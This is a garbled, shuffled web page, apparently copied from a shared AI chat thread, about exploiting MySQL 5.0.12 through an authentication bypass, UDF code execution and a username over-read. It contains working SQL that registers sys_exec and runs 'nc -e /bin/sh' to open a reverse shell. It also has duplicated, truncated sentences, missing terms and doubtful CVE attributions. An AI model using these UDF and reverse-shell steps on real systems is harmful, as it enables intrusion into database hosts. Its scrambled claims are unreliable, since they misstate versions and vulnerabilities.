While CVE-2012-2122 formally documented a classic MySQL authentication bypass in later versions, the underlying logic flaws in password hashing and string comparison functions ( memcmp ) were present in various builds of the 5.0 branch. Under specific compilation conditions, the server would miscalculate the token comparison, allowing a user to log in as root without knowing the password simply by repeating the connection attempt several hundred times. User-Defined Function (UDF) Code Execution
If a legacy system must remain online, adopt a layered security approach:
Attackers can read sensitive tables containing user credentials, financial information, or proprietary data.
When security researchers look at legacy versions like MySQL 5.0.12, the threats generally fall into three distinct categories: privilege escalation, authentication bypasses, and SQL injection architecture. 1. Privilege Escalation via Stored Routines (CVE-2006-4227) mysql 5.0.12 exploit
: The server relies on the memcmp() function to validate the hash of the password sent by the client against the hash stored in the database.
A widely used technique against older MySQL versions is . MySQL allows loading external dynamic libraries ( .so on Linux, .dll on Windows) as User‑Defined Functions . By creating a malicious shared library that executes operating system commands (e.g., a function named sys_exec or sys_eval ), an attacker can gain arbitrary command execution on the host.
Once the library is on disk, you must "register" the new function within MySQL to use it. When security researchers look at legacy versions like
Another network‑facing vulnerability in MySQL 5.0.12 is , an issue in the check_connection function in sql_parse.cc . By providing a username that lacks a trailing null byte, a remote attacker can trigger a buffer over‑read , causing the server to reveal portions of sensitive memory in error messages.
-- Create the function mapping CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'; -- Verify the function exists SELECT * FROM mysql.func; -- Execute a command (e.g., creating a reverse shell) SELECT sys_exec('nc -e /bin/sh '); Use code with caution. Copied to clipboard 3. Impact and Remediation
This public link is valid for 7 days and shares a thread, including any personal information you added. This link or copies made by others cannot be deleted. If you share with third parties, their policies apply. Can’t copy the link right now. Try again later. A widely used technique against older MySQL versions is
If an attacker gains low-privilege SQL injection or authentication credentials, MySQL 5.0.12 inherently allows the loading of arbitrary shared libraries via the CREATE FUNCTION syntax. Because early 5.0 releases lacked stringent checks on the plugin_dir system variable, attackers could write a malicious dynamic link library (DLL) or shared object (.so) file directly to the system and execute OS-level commands. 2. Anatomy of a MySQL 5.0.12 Exploit
MySQL version 5.0.12 introduced the function, which is a key component for time-based blind SQL injection Exploit-DB
Given your request, I'll outline a general exploitation framework rather than specifics to MySQL 5.0.12 due to the potential for outdated vulnerabilities:
: Limit access to the mysql.func and mysql.proc tables to prevent users from adding malicious functions or routines.
In modern penetration testing frameworks like sqlmap , MySQL 5.0.12 serves as an important threshold marker. Vulnerability scanners categorize payloads into versions preceding or succeeding this release due to major changes in how the database processes internal logic, errors, and privilege assignments. Key Vulnerabilities and Exploit Vector Categories